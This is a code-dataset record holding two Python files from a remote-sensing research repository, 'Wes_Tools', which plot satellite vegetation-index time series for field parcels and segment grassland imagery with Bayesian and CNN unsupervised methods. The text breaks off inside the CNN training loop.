"no_license", "max_line_length": 117, "num_lines": 285, "path": "/Plots_OBIA.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "from matplotlib import colors\r\nimport numpy as np\r\nimport fiona\r\nimport math\r\nimport rasterio\r\nimport matplotlib.pyplot as plt\r\n#import dictances\r\nimport itertools\r\nimport pandas as pd\r\nimport gdal\r\nfrom rasterio.mask import mask\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom Wes_Tools.Accuracy_ import *\r\nfrom Wes_Tools.Plots_OBIA import *\r\nfrom Wes_Tools.__Segmentor import *\r\nfrom Wes_Tools.__CNN_segment import *\r\nfrom Wes_Tools.__Join_results import *\r\nfrom Wes_Tools.__geometry_tools import *\r\nfrom Wes_Tools.__utils import *\r\nfrom hubdc.core import *\r\n\r\ndef nan_helper(y):\r\n return np.isnan(y), lambda z: z.nonzero()[0]\r\n\r\n\r\ndef check_trampled(x, y):\r\n\r\n candidates = np.argwhere(y < 0.6)\r\n print(candidates)\r\n for ys in candidates:\r\n if ys > 20 and ys < 60:\r\n #print('testing:', ys, type(ys))\r\n\r\n test_x = x[ys[0]:ys[0] + 4].reshape(-1, 1)\r\n test_y = y[ys[0]:ys[0] + 4].reshape(-1, 1)\r\n #print(test_x, test_y)\r\n lm = LinearRegression().fit(test_x, test_y)\r\n #print('SLOPE:', lm.coef_)\r\n if abs(lm.coef_[0]) < 0.009:\r\n print(lm.coef_, ys)\r\n print(test_x, test_y)\r\n plt.scatter(test_x, test_y)\r\n m, b = np.polyfit(x[ys[0]:ys[0] + 3], y[ys[0]:ys[0] + 3], 1)\r\n plt.plot(x, m * x + b)\r\n plt.show()\r\n return True\r\n else:\r\n None\r\n\r\n else:\r\n pass\r\n return False\r\n\r\n\r\ndef plot_shapefile(vector_data, raster_data, own_segmentation=False, error_plot=False, custom_subsetter=range(1, 61),\r\n trample_check=None):\r\n # Create a ListedColormap with only the color green specified\r\n cmap = colors.ListedColormap(['green'])\r\n # Use the `set_bad` property of `colormaps` to set all the 'bad' data to red\r\n cmap.set_bad(color='red')\r\n\r\n raster_ = raster_data\r\n print(vector_data)\r\n if own_segmentation:\r\n tif_str = vector_data.replace('polygonized.shp', '.tif')\r\n r = gdal.Open(tif_str)\r\n r_arr = r.ReadAsArray()\r\n\r\n shapes = []\r\n with fiona.open(vector_data) as shapefile:\r\n if own_segmentation:\r\n feature_list = []\r\n for features in shapefile:\r\n if features[\"properties\"]['Cluster_nb'] != 0 and features[\"properties\"]['field_nb'] != None:\r\n shapes.append(features[\"geometry\"])\r\n values_view = features[\"properties\"].values()\r\n value_iterator = iter(values_view)\r\n first_value = next(value_iterator)\r\n feature_list.append(first_value)\r\n else:\r\n continue\r\n else:\r\n feature_list = []\r\n for features in shapefile:\r\n #feature_list.append(features[\"properties\"]['field_nb'])\r\n values_view = features[\"properties\"].values()\r\n value_iterator = iter(values_view)\r\n first_value = next(value_iterator)\r\n feature_list.append(first_value)\r\n\r\n shapes = [feature[\"geometry\"] for feature in shapefile]\r\n\r\n i = 1\r\n grid_size = int(math.ceil(np.sqrt(len(shapes))))\r\n\r\n for shp in shapes:\r\n\r\n with rasterio.open(raster_) as src:\r\n out_image, out_transform = rasterio.mask.mask(src, [shp], crop=True)\r\n\r\n out_image = out_image[custom_subsetter,:,:]\r\n out_image = out_image.astype(dtype=np.float)\r\n out_image[out_image < 0] = np.nan\r\n\r\n row_mean = (np.nanmean(out_image, axis=(1, 2))) / 10000\r\n row_sd = (np.nanstd(out_image, axis=(1, 2))) / 10000\r\n # row_mean[np.isnan(row_mean)] = 0\r\n\r\n ##############\r\n # interpolated\r\n nans, x = nan_helper(row_mean)\r\n row_mean[nans] = np.interp(x(nans), x(~nans), row_mean[~nans])\r\n\r\n nans, x = nan_helper(row_sd)\r\n row_sd[nans] = np.interp(x(nans), x(~nans), row_sd[~nans])\r\n x = np.linspace(1, len(row_mean), len(row_mean))\r\n if trample_check:\r\n trampole = check_trampled(x, row_mean)\r\n print(trampole, str(feature_list[i-1]))\r\n i += 1\r\n continue\r\n else:\r\n None\r\n plt.subplot(grid_size, grid_size, i)\r\n trampole = 1\r\n plt.title(str(feature_list[i-1]) + '_' + str(trampole))\r\n trampole = None\r\n if error_plot:\r\n plt.errorbar(x, row_mean, row_sd)\r\n\r\n # create list of length nans and convert it to array then set colors\r\n else:\r\n color = np.array([str(1)] * len(nans))\r\n color[nans] = 'red'\r\n color[~nans] = 'green'\r\n plt.scatter(x, row_mean, s=5, c=color)\r\n i += 1\r\n plt.show()\r\n if own_segmentation:\r\n plt.imshow(r_arr)\r\n plt.show()\r\n\r\n\r\ndef DistancoTron(vector_data, raster_data, own_segmentation=False):\r\n # Create a ListedColormap with only the color green specified\r\n cmap = colors.ListedColormap(['green'])\r\n # Use the `set_bad` property of `colormaps` to set all the 'bad' data to red\r\n cmap.set_bad(color='red')\r\n\r\n raster_ = raster_data\r\n print(vector_data)\r\n if own_segmentation:\r\n tif_str = vector_data.replace('polygonized.shp', '.tif')\r\n r = gdal.Open(tif_str)\r\n r_arr = r.ReadAsArray()\r\n\r\n shapes = []\r\n with fiona.open(vector_data) as shapefile:\r\n if own_segmentation:\r\n feature_list = []\r\n for features in shapefile:\r\n if features[\"properties\"]['Cluster_nb'] != 0 and features[\"properties\"]['field_nb'] != None:\r\n shapes.append(features[\"geometry\"])\r\n values_view = features[\"properties\"].values()\r\n value_iterator = iter(values_view)\r\n first_value = next(value_iterator)\r\n feature_list.append(first_value)\r\n else:\r\n continue\r\n else:\r\n feature_list = []\r\n for features in shapefile:\r\n #feature_list.append(features[\"properties\"]['field_nb'])\r\n values_view = features[\"properties\"].values()\r\n value_iterator = iter(values_view)\r\n first_value = next(value_iterator)\r\n feature_list.append(first_value)\r\n\r\n\r\n shapes = [feature[\"geometry\"] for feature in shapefile]\r\n\r\n i = 1\r\n grid_size = int(math.ceil(np.sqrt(len(shapes))))\r\n print(grid_size)\r\n raster_data_list = []\r\n for shp in shapes:\r\n\r\n with rasterio.open(raster_) as src:\r\n out_image, out_transform = rasterio.mask.mask(src, [shp], crop=True)\r\n out_image = out_image[range(35),:,:]\r\n out_image = out_image.astype(dtype=np.float)\r\n out_image[out_image < 0] = np.nan\r\n print(out_image.shape)\r\n row_mean = (np.nanmean(out_image, axis=(1, 2))) / 10000\r\n row_sd = (np.nanstd(out_image, axis=(1, 2))) / 10000\r\n # row_mean[np.isnan(row_mean)] = 0\r\n\r\n ##############\r\n # interpolated\r\n nans, x = nan_helper(row_mean)\r\n row_mean[nans] = np.interp(x(nans), x(~nans), row_mean[~nans])\r\n\r\n nans, x = nan_helper(row_sd)\r\n row_sd[nans] = np.interp(x(nans), x(~nans), row_sd[~nans])\r\n ###############\r\n # calc distance\r\n raster_data_list.append(row_mean)\r\n dict_row_mean = {i: row_mean[i] for i in range(0, len(row_mean))}\r\n\r\n if i % 2 == 0:\r\n\r\n di = dictances.bhattacharyya(dict_row_mean_old, dict_row_mean)\r\n print(di)\r\n dict_row_mean_old = dict_row_mean\r\n \"\"\"\r\n x = np.linspace(1, len(row_mean), len(row_mean))\r\n plt.subplot(grid_size, grid_size, i)\r\n plt.title(str(feature_list[i-1]))\r\n plt.errorbar(x, row_mean, row_sd)\r\n\r\n # create list of length nans and convert it to array then set colors\r\n color = np.array([str(1)] * len(nans))\r\n color[nans] = 'red'\r\n color[~nans] = 'green'\r\n \r\n #plt.scatter(x, row_mean, s=5, c=color)\r\n \"\"\"\r\n i += 1\r\n\r\n\r\ndef aggregator(raster_NDV, shapei, indexo=np.random.randint(0, 10000), raster_clim=None, ie_raster=None, yr=2018):\r\n geo = shapei.geometry\r\n index = indexo\r\n print(shapei)\r\n for ft in shapei:\r\n print(ft)\r\n matched = find_matching_raster(shapei.geometry, raster_NDV, \".*[E][V][I].*[S][S].*[t][i][f]{1,2}$\")\r\n rst_EVI = openRasterDataset(matched)\r\n rst_decDate_arr = np.array(rst_EVI.metadataItem(key='wavelength', domain='TIMESERIES', dtype=float))\r\n print(rst_decDate_arr)\r\n subsetter = np.where((rst_decDate_arr<yr) & (yr < rst_decDate_arr))\r\n if raster_clim:\r\n with rasterio.open(raster_clim) as src:\r\n out_image, out_transform = rasterio.mask.mask(src, [geo], crop=True)\r\n\r\n out_image = out_image.astype(dtype=np.float)\r\n out_image[out_image < 0] = np.nan\r\n row_mean_clim = (np.nanmean(out_image, axis=(1, 2)))\r\n row_mean_clim[np.isnan(row_mean_clim)] = 0\r\n if ie_raster:\r\n with rasterio.open(ie_raster) as src:\r\n out_image, out_transform = rasterio.mask.mask(src, [geo], crop=True)\r\n\r\n out_image = out_image.astype(dtype=np.float)\r\n out_image[out_image < 0] = np.nan\r\n row_mean_ie = [np.nanmean(out_image)]\r\n if np.isnan(row_mean_ie):\r\n row_mean_ie = [0]\r\n\r\n with rasterio.open(matched) as src:\r\n out_image, out_transform = rasterio.mask.mask(src, [geo], crop=True)\r\n print(out_image.shape)\r\n\r\n if subsetter is None:\r\n out = out_image[:, :, :]\r\n else:\r\n out = out_image[:,:,:]\r\n\r\n out = out.astype(dtype=np.float)\r\n out[out < 0] = np.nan\r\n row_mean = (np.nanmean(out, axis=(1, 2)))# / 10000\r\n row_mean[np.isnan(row_mean)] = 0\r\n print(row_mean)\r\n # sd\r\n row_sd = (np.nanstd(out, axis=(1, 2))) / 10000\r\n row_sd[np.isnan(row_sd)] = 0\r\n if raster_clim and ie_raster:\r\n ab = itertools.chain(row_mean, row_mean_clim, row_sd, row_mean_ie)\r\n else:\r\n ab = itertools.chain(row_mean, row_sd)\r\n l = list(ab)\r\n l.append(index)\r\n Serio = pd.Series(l)\r\n print(Serio)\r\n return Serio, rst_decDate_arr" }, { "alpha_fraction": 0.5203666090965271, "alphanum_fraction": 0.5390238761901855, "avg_line_length": 39.52870178222656, "blob_id": "ae8da6a740a45a927188d369cbe7014f32a85f84", "content_id": "5415ab8df0cec74ffd1f4d9249fa263ac21e9656", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27500, "license_type": "no_license", "max_line_length": 664, "num_lines": 662, "path": "/__Segmentor.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import sys\r\nfrom shapely import geometry\r\nfrom skimage import exposure\r\nfrom scipy.ndimage.filters import generic_filter\r\nfrom scipy import ndimage\r\nfrom scipy.stats import mode\r\n\r\nimport bayseg\r\nimport matplotlib.pyplot as plt\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\nfrom torch.autograd import Variable\r\nfrom skimage import segmentation\r\nimport torch.nn.init\r\nimport imageio\r\nimport cv2\r\nfrom .__utils import *\r\n\r\n\r\nclass MyNet(nn.Module):\r\n def __init__(self, input_dim):\r\n super(MyNet, self).__init__()\r\n self.conv1 = nn.Conv2d(input_dim, n_band, kernel_size=n_band, stride=stride_, padding=padd)\r\n\r\n self.bn1 = nn.BatchNorm2d(n_band)\r\n self.conv2 = nn.ModuleList()\r\n self.bn2 = nn.ModuleList()\r\n for i in range(nConv - 1): # n_conv\r\n self.conv2.append(nn.Conv2d(n_band, n_band, kernel_size=n_band, stride=stride_, padding=padd))\r\n self.bn2.append(nn.BatchNorm2d(n_band))\r\n self.conv3 = nn.Conv2d(n_band, n_band, kernel_size=1, stride=stride_, padding=0)\r\n self.bn3 = nn.BatchNorm2d(n_band)\r\n\r\n def forward(self, x):\r\n x = self.conv1(x)\r\n x = F.relu(x)\r\n x = self.bn1(x)\r\n \"\"\"\r\n #### experimenting\r\n x_ = x.detach().numpy()\r\n x_ = x_.squeeze()\r\n x_ = np.moveaxis(x_, 0, 2)\r\n plt.imshow(x_)\r\n plt.show()\r\n #### experimenting\r\n \"\"\"\r\n for i in range(nConv - 1):\r\n x = self.conv2[i](x)\r\n x = F.relu(x)\r\n x = self.bn2[i](x)\r\n x = self.conv3(x)\r\n x = self.bn3(x)\r\n return x\r\n\r\ndef set_global_Cnn_variables(bands=11, convs=2):\r\n \"\"\"\r\n CNN needs some global variables\r\n :param bands: number of bands to be used for CNN\r\n :param convs: number of convolutions\r\n :return:\r\n \"\"\"\r\n # CNN model\r\n global n_band\r\n global nConv\r\n global padd\r\n global stride_\r\n n_band = bands\r\n nConv = convs\r\n padd = np.int((n_band - 1) / 2)\r\n stride_ = 1\r\n\r\n\r\ndef WriteArrayToDisk(array, data_path_name_str, gt, polygonite=False, fieldo=None, EPSG=3035):\r\n #################################\r\n # write raster file\r\n # 0 to nan\r\n # should be 2d\r\n # img_nan[img_nan == 0] = 255\r\n\r\n srs = osr.SpatialReference()\r\n srs.ImportFromEPSG(EPSG)\r\n\r\n string_tif = data_path_name_str + \".tif\"\r\n # prj = PROJCS[\"ETRS89-extended / LAEA Europe\",GEOGCS[\"ETRS89\",DATUM[\"European_Terrestrial_Reference_System_1989\",SPHEROID[\"GRS 1980\",6378137,298.257222101,AUTHORITY[\"EPSG\",\"7019\"]],TOWGS84[0,0,0,0,0,0,0],AUTHORITY[\"EPSG\",\"6258\"]],PRIMEM[\"Greenwich\",0,AUTHORITY[\"EPSG\",\"8901\"]],UNIT[\"degree\",0.0174532925199433,AUTHORITY[\"EPSG\",\"9122\"]],AUTHORITY[\"EPSG\",\"4258\"]],PROJECTION[\"Lambert_Azimuthal_Equal_Area\"],PARAMETER[\"latitude_of_center\",52],PARAMETER[\"longitude_of_center\",10],PARAMETER[\"false_easting\",4321000],PARAMETER[\"false_northing\",3210000],UNIT[\"metre\",1,AUTHORITY[\"EPSG\",\"9001\"]],AXIS[\"Northing\",NORTH],AXIS[\"Easting\",EAST],AUTHORITY[\"EPSG\",\"3035\"]]\"\r\n gdal.AllRegister()\r\n\r\n rows = array.shape[0]\r\n cols = array.shape[1]\r\n driver = gdal.GetDriverByName('GTiff')\r\n mean = driver.Create(string_tif, cols, rows, 1, gdal.GDT_Int16)\r\n mean.SetGeoTransform(gt)\r\n mean.SetProjection(srs.ExportToWkt())\r\n\r\n band = mean.GetRasterBand(1)\r\n\r\n band.WriteArray(array)\r\n gdal.SieveFilter(band, None, band, threshold=16)\r\n if polygonite:\r\n print('polygonize:....')\r\n outShapefile = data_path_name_str + \"polygonized\"\r\n driver = ogr.GetDriverByName(\"ESRI Shapefile\")\r\n\r\n if os.path.exists(outShapefile + \".shp\"):\r\n driver.DeleteDataSource(outShapefile + \".shp\")\r\n outDatasource = driver.CreateDataSource(outShapefile + \".shp\")\r\n outLayer = outDatasource.CreateLayer(outShapefile, srs=None)\r\n newField = ogr.FieldDefn('Cluster_nb', ogr.OFTInteger)\r\n field_2 = ogr.FieldDefn('field_nb', ogr.OFTInteger)\r\n outLayer.CreateField(newField)\r\n outLayer.CreateField(field_2)\r\n band.SetNoDataValue(0)\r\n band = mean.GetRasterBand(1)\r\n #band = mean\r\n gdal.Polygonize(band, None, outLayer, 0, [], callback=None)\r\n\r\n for i in range(outLayer.GetFeatureCount()):\r\n # print(i)\r\n feature = outLayer.GetFeature(i)\r\n feature.SetField('field_nb', fieldo)\r\n outLayer.CreateFeature(feature)\r\n feature = None\r\n outLayer = None\r\n outDatasource = None\r\n band = None\r\n mean = None\r\n sourceRaster = None\r\n\r\n\r\n\r\ndef create_mask_from_ndim(array):\r\n \"\"\"\r\n\r\n :param array: should be of shape bands, x, x\r\n :return:\r\n \"\"\"\r\n out_image_mask = array\r\n mask = np.any(out_image_mask != 0, axis=0)\r\n return mask\r\n\r\n\r\ndef select_bands_sd(array_of_shape, max_valid_pixels_=500, max_bands=500):\r\n \"\"\"\r\n :param array_of_shape: bands, y, x\r\n :param max_valid_pixels_:\r\n :param max_bands:\r\n :return:\r\n \"\"\"\r\n shape_ = array_of_shape.shape\r\n arg_50 = (-np.nanstd(array_of_shape, axis=(1, 2))).argsort()[:max_bands]\r\n collected_bands = []\r\n for args in arg_50:\r\n valid_pixel = (sum(np.reshape(array_of_shape[args, :, :], (shape_[1] * shape_[2])) > 0))\r\n if valid_pixel < max_valid_pixels_:\r\n print('only:', valid_pixel, 'of:', max_valid_pixels_)\r\n elif len(collected_bands) == max_bands:\r\n break\r\n else:\r\n collected_bands.append(int(args))\r\n return collected_bands\r\n\r\n\r\nclass segmentation_BaySeg:\r\n def __init__(self, beta_coef=1, beta_jump=0.1, n_band=50, custom_subsetter=range(0, 80), MMU=0.05, PCA=True,\r\n into_pca='all', n_class=4, iterations=70, _filter='bilateral', neighbourhood=\"4p\"):\r\n self.beta_coef = beta_coef\r\n self.beta_jump = beta_jump\r\n self.MMU = MMU\r\n self.subsetter = custom_subsetter\r\n self.n_band = n_band\r\n self.PCA = PCA\r\n self.into_pca = into_pca\r\n self.n_class = n_class\r\n self.iterations = iterations\r\n self.stncl = neighbourhood\r\n self._filter = _filter\r\n\r\n def get_edges(self, three_d_image):\r\n from skimage import feature, filters\r\n from skimage.segmentation import join_segmentations\r\n from skimage.measure import label\r\n preceding_segmentation = None\r\n for bands in range(1):\r\n edges = filters.roberts(three_d_image[:, :, bands].squeeze()).astype(int)\r\n\r\n if preceding_segmentation is not None:\r\n preceding_segmentation = join_segmentations(edges, preceding_segmentation)\r\n else:\r\n preceding_segmentation = edges\r\n\r\n print('Percentiles', np.percentile(preceding_segmentation, q=50))\r\n print('Percentiles', np.percentile(preceding_segmentation, q=90))\r\n preceding_segmentation[preceding_segmentation > 300] = 0\r\n preceding_segmentation[preceding_segmentation < 22] = 0\r\n\r\n preceding_segmentation = majority_f(preceding_segmentation)\r\n contours = label(preceding_segmentation)\r\n np.histogram(preceding_segmentation)\r\n print(np.unique(preceding_segmentation))\r\n plt.imshow(preceding_segmentation)\r\n plt.show()\r\n plt.imshow(contours)\r\n plt.show()\r\n\r\n three_d_image = np.stack((three_d_image[:, :, 0].squeeze(), contours), axis=2)\r\n return three_d_image\r\n\r\n def prepare_data(self, raster_l, vector_geom):\r\n shp = [vector_geom.geometry]\r\n \"\"\"\r\n with fiona.open(vector_geom, \"r\") as shapefile:\r\n shp = [feature[\"geometry\"] for feature in shapefile]\r\n \"\"\"\r\n subsetter_tsi = self.subsetter\r\n if subsetter_tsi:\r\n with rasterio.open(raster_l) as src:\r\n out_image, out_transform = rasterio.mask.mask(src, shp, crop=True, nodata=0)\r\n mask = create_mask_from_ndim(out_image)\r\n print(out_image, mask)\r\n out_image[out_image < 0] = abs(out_image[out_image < 0])\r\n out_image = out_image * mask\r\n gt_gdal = Affine.to_gdal(out_transform)\r\n #################################\r\n out_meta = src.meta\r\n out_image = out_image.copy() / 10000\r\n out_image = out_image[subsetter_tsi, :, :]\r\n shape_out = out_image.shape\r\n max_valid_pixel = (sum(np.reshape(mask[:, :], (shape_out[1] * shape_out[2])) > 0))\r\n print('Parcel Area:', max_valid_pixel * 100 / 1000000, ' km²')\r\n\r\n import scipy\r\n import matplotlib.pyplot as plt\r\n mass_center = scipy.ndimage.measurements.center_of_mass(mask)\r\n print(mass_center)\r\n print(mask[int(mass_center[0]), int(mass_center[1])])\r\n\r\n if max_valid_pixel * 100 / 1000000 < self.MMU:\r\n print('pass, MMU')\r\n MMU_fail = True\r\n #elif not mask[int(mass_center[0]), int(mass_center[1])]:\r\n # print('pass, shape fail')\r\n # MMU_fail = True\r\n else:\r\n MMU_fail = False\r\n w = np.where(out_image < 0)\r\n out_sub = mask[:, :]\r\n mask_local = np.where(out_sub == 0)\r\n out_image[w] = 0\r\n out_image_nan = out_image.copy().astype(dtype=np.float)\r\n out_image_nan[w] = np.nan\r\n\r\n if MMU_fail:\r\n return np.moveaxis(out_image, 0, 2), None, mask_local, gt_gdal, MMU_fail\r\n del out_image\r\n three_band_img = out_image_nan\r\n del out_image_nan\r\n img1 = np.moveaxis(three_band_img, 0, 2)\r\n\r\n re = np.reshape(img1, (img1.shape[0] * img1.shape[1], img1.shape[2]))\r\n # re_scale = RobustScaler(quantile_range=(0.8, 1)).fit_transform(re)\r\n if self._filter == 'clahe':\r\n scaled = (MinMaxScaler(feature_range=(0, 1)).fit_transform(re))\r\n else:\r\n scaled = (MinMaxScaler(feature_range=(0, 255)).fit_transform(re))\r\n # scaled = re\r\n scaled_shaped = np.reshape(scaled, (img1.shape))\r\n # scaled_shaped = np.square(img1+10)\r\n\r\n ###########\r\n # selects bands which have only valid pixels\r\n scaled_shaped[np.where(scaled_shaped == 0)] = np.nan\r\n\r\n arg_10 = select_bands_sd(np.moveaxis(scaled_shaped, 2, 0), max_valid_pixels_=max_valid_pixel)\r\n\r\n # change back ... needs to be always the same when model should be reuseable\r\n #arg_10 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n ##################### !!\r\n wh_nan = np.where(np.isnan(scaled_shaped))\r\n scaled_shaped[wh_nan] = 0\r\n im = scaled_shaped[:, :, arg_10]\r\n im[im == 0] = np.nan\r\n scaled_arg_2d = np.reshape(im, (im.shape[0] * im.shape[1], len(arg_10)))\r\n im[np.isnan(im)] = 0\r\n scaled_arg_2d[np.isnan(scaled_arg_2d)] = 0\r\n if self._filter == 'bilateral':\r\n im = np.float32(im)\r\n im = bilateral_nchannels(im)\r\n elif self._filter == 'clahe':\r\n im = clahe_nchannels(im)\r\n else:\r\n None\r\n if self.PCA:\r\n print(arg_10)\r\n #################\r\n # PCA\r\n import matplotlib.pyplot as plt\r\n\r\n if len(arg_10) > self.n_band:\r\n n_comps = self.n_band\r\n if self.into_pca == 'all':\r\n None\r\n else:\r\n scaled_arg_2d = scaled_arg_2d[:, :self.into_pca]\r\n else:\r\n n_comps = len(arg_10)\r\n pca = decomposition.PCA(n_components=n_comps)\r\n im_pca_2d = pca.fit_transform(scaled_arg_2d)\r\n print(pca.explained_variance_ratio_)\r\n image_pca = np.reshape(im_pca_2d, (im.shape[0], im.shape[1], n_comps))\r\n im_pca_2d[im_pca_2d == 0] = np.nan\r\n print('IMAGE PCA', image_pca.shape)\r\n # plt.imshow(image_pca[:,:,:3])\r\n # plt.show()\r\n return image_pca, im_pca_2d, mask_local, gt_gdal, MMU_fail\r\n else:\r\n print(arg_10)\r\n if im[:, :, :].shape[2] < self.n_band:\r\n print('n_band parameter bigger than bands available; used all available bands')\r\n return im, scaled_arg_2d, mask_local, gt_gdal, MMU_fail\r\n else:\r\n print('no pca, used: ', self.n_band, ' bands')\r\n return im[:, :, :self.n_band], scaled_arg_2d[:, :self.n_band], mask_local, gt_gdal, MMU_fail\r\n\r\n else:\r\n print('Maybe input shapes did not overlap; Also check subsetter; Is N_band paramter a list?', self.n_band)\r\n return None, None, None, None, None\r\n\r\n def segment_2(self, string_to_raster, vector_geom, data_path_output, indexo=np.random.randint(0, 100000)):\r\n \"\"\"\r\n :param string_to_raster: path to raster file\r\n :param vector_geom: list of fiona geometries\r\n :param beta_coef: Bayseg parameter; controls autocorrelation of segments\r\n :param beta_jump: Bayseg parameter\r\n :param n_band: How many PCs/bands will be used;\r\n if set higher than bands actually available all available bands will be used\r\n :param custom_subsetter: In case not to use all the input bands\r\n :param data_path_output: Where to save the results?\r\n :param MMU: Minumum Mapping Unit in km²; below that input will be set as one segment\r\n :return: saves segmented image to disk using the Bayseg\r\n # the default should be string_to_raster = tss\r\n # raster_tsi = string_to_raster.replace('TSS', 'TSI')\r\n range(0, 35 * 14) for coreg stack\r\n \"\"\"\r\n \"\"\"\r\n if os.path.exists(data_path_output + 'output'):\r\n print('output directory already exists')\r\n #os.rmdir(data_path_output + 'output')\r\n else:\r\n os.mkdir(data_path_output + 'output')\r\n \"\"\"\r\n data_patho = data_path_output + 'output'\r\n field_counter = \"{}{}{}{}{}{}{}\".format(str(self.stncl), \"_\", str(self.beta_jump), \"_\", str(self.beta_coef),\r\n str(indexo), self._filter)\r\n\r\n three_d_image, two_d_im_pca, mask_local, gt_gdal, MMU_fail = self.prepare_data(string_to_raster, vector_geom)\r\n\r\n if MMU_fail:\r\n # this will be used when the parcel is smaller than the MMU limit,\r\n mino = 2\r\n labels = np.zeros(three_d_image.shape[0] * three_d_image.shape[1])\r\n elif three_d_image is None:\r\n return\r\n elif two_d_im_pca.shape[1] == 0:\r\n return\r\n else:\r\n\r\n mino = bayseg.bic(two_d_im_pca, self.n_class)\r\n ############################################################\r\n itero = self.iterations\r\n clf = bayseg.BaySeg(three_d_image, mino, beta_init=self.beta_coef, stencil=self.stncl, normalize=False)\r\n try:\r\n clf.fit(itero, beta_jump_length=self.beta_jump)\r\n\r\n # shape: n_iter, flat image, n_classes\r\n # print('PROBSHAPE: ', prob.shape)\r\n file_str = \"{}{}{}\".format(data_patho + \"/diagnostics\", \"_stack_\", str(field_counter))\r\n #ie = clf.diagnostics_plot(transpose=True, save=True, path_to_save=file_str + '.png', ie_return=True)\r\n labels = clf.labels[-1, :]\r\n except:\r\n labels = np.zeros(three_d_image.shape[0] * three_d_image.shape[1])\r\n labels[labels == 0] = 1\r\n # imageio.mimsave(data_path + 'bayseg.gif', images_iters)\r\n file_str = \"{}{}{}\".format(data_patho + \"/Bayseg_\", str(field_counter), \"_\")\r\n # file_str_ie = \"{}{}{}\".format(data_patho + \"/Bayseg_ie_\", str(field_counter), \"_\")\r\n # to save as integer\r\n labels_img = np.reshape(labels, (three_d_image.shape[0], three_d_image.shape[1]))\r\n\r\n # ie_img = np.reshape(ie, (three_d_image.shape[0], three_d_image.shape[1])) * 10000\r\n # prob_img = np.reshape(prob[-1, :, 3], labels_img.shape)\r\n\r\n # labels__img = np.reshape(labels_, (scaled_shaped.shape[0], scaled_shaped.shape[1]))\r\n labels_img += 1\r\n labels_img[mask_local] = 0\r\n labels = labels_img.reshape(three_d_image.shape[0] * three_d_image.shape[1])\r\n # labels_img = function(labels_img)\r\n # plt.imshow(labels_img)\r\n # plt.show()\r\n WriteArrayToDisk(labels_img, file_str, gt_gdal, polygonite=True, fieldo=field_counter)\r\n #\r\n # WriteArrayToDisk(labels_img, file_str_maj, gt_gdal, polygonite=True, fieldo=field_counter)\r\n # WriteArrayToDisk(ie_img, file_str_ie, gt_gdal, polygonite=False, fieldo=field_counter)\r\n if file_str is None:\r\n print('not returning anything')\r\n else:\r\n return file_str + 'polygonized.shp'\r\n\r\n def segment_cnn(self, string_to_raster, vector_geom, indexo=np.random.randint(0, 100000),\r\n data_path_output=None, convs=3):\r\n #, n_band=50, into_pca=50, lr_var=0.1, convs=2,\r\n # custom_subsetter=range(0, 80), MMU=0.05, PCA=True\r\n torch.set_num_threads(15)\r\n \"\"\"\r\n The CNN unsupervised segmentation is based on a paper by Asako Kanezaki;\r\n \"Unsupervised Image Segmentation by Backpropagation\"\r\n on Github: https://github.com/kanezaki/pytorch-unsupervised-segmentation\r\n :param string_to_raster:\r\n :param vector_geom:\r\n :param indexo:\r\n :param data_path_output:\r\n :param n_band:\r\n :param into_pca:\r\n :param lr_var:\r\n :param custom_subsetter:\r\n :param MMU:\r\n :param PCA:\r\n :return:\r\n \"\"\"\r\n set_global_Cnn_variables(bands=self.n_band, convs=convs)\r\n\r\n data_path = data_path_output + 'output'\r\n lr_var=0.1\r\n field_counter = \"{}{}{}{}{}{}{}\".format(str(self.n_band), '_', str(self.n_band), '_', str(lr_var), '_', str(indexo))\r\n ###########\r\n # prepare data function does the magic here\r\n three_d_image, two_d_im_pca, mask_local, gt_gdal, MMU_fail = self.prepare_data(string_to_raster, vector_geom)\r\n print(three_d_image.shape)\r\n # in case grassland area is too small\r\n if MMU_fail:\r\n three_d_image = np.zeros((three_d_image.shape[0], three_d_image.shape[1]))\r\n return\r\n elif three_d_image is None:\r\n return\r\n\r\n else:\r\n\r\n\r\n # labels = labels*mask_local\r\n #labels = segmentation.felzenszwalb(three_d_image, scale=90) #\r\n # labels = GaussianMixture(n_components=20).fit_predict(two_d_im_pca)\r\n labels = segmentation.slic(three_d_image, n_segments=500, compactness=100)\r\n\r\n im = three_d_image\r\n file_str = \"{}{}{}\".format(data_path + \"/output/out_labels\", str(field_counter), \"_\")\r\n\r\n labels_img = np.reshape(labels, (three_d_image.shape[0], three_d_image.shape[1]))\r\n plt.imshow(labels_img)\r\n plt.show()\r\n\r\n # file_str = \"{}{}\".format(data_path + \"/CNN_\", str(field_counter))\r\n # WriteArrayToDisk(labels_img, file_str, gt_gdal, polygonite=True, fieldo=field_counter)\r\n # return\r\n # labels__img = np.reshape(labels_, (scaled_shaped.shape[0], scaled_shaped.shape[1]))\r\n labels_img += 1\r\n labels_img[mask_local] = 0\r\n labels = labels_img.reshape(im.shape[0] * im.shape[1])\r\n print(im.shape, labels.shape)\r\n plt.imshow(labels_img)\r\n # plt.show()\r\n\r\n # WriteArrayToDisk(labels_img, file_str, gt_gdal, polygonite=True)\r\n ################################ cnn stuff\r\n data = torch.from_numpy(np.array([im.transpose((2, 0, 1)).astype('float32') / 255.]))\r\n\r\n visualize = True\r\n data = Variable(data)\r\n u_labels = np.unique(labels)\r\n\r\n l_inds = []\r\n for i in range(len(u_labels)):\r\n l_inds.append(np.where(labels == u_labels[i])[0])\r\n\r\n # train\r\n model = MyNet(data.size(1))\r\n\r\n # if os.path.exists(data_path + 'cnn_model'):\r\n # model = torch.load(data_path + 'cnn_model')\r\n model.train()\r\n loss_fn = torch.nn.CrossEntropyLoss()\r\n optimizer = optim.SGD(model.parameters(), lr=lr_var, momentum=0.1)\r\n label_colours = np.random.randint(255, size=(100, self.n_band))\r\n # to create a gif\r\n images = []\r\n for batch_idx in range(200):\r\n # forwarding\r\n optimizer.zero_grad()\r\n output = model(data)[0]\r\n output = output.permute(1, 2, 0).contiguous().view(-1, self.n_band)\r\n ignore, target = torch.max(output, 1)\r\n im_target = target.data.cpu().numpy()\r\n nLabels = len(np.unique(im_target))\r\n\r\n if visualize:\r\n im_target_rgb = np.array([label_colours[c % 100] for c in im_target])\r\n\r\n im_target_rgb = 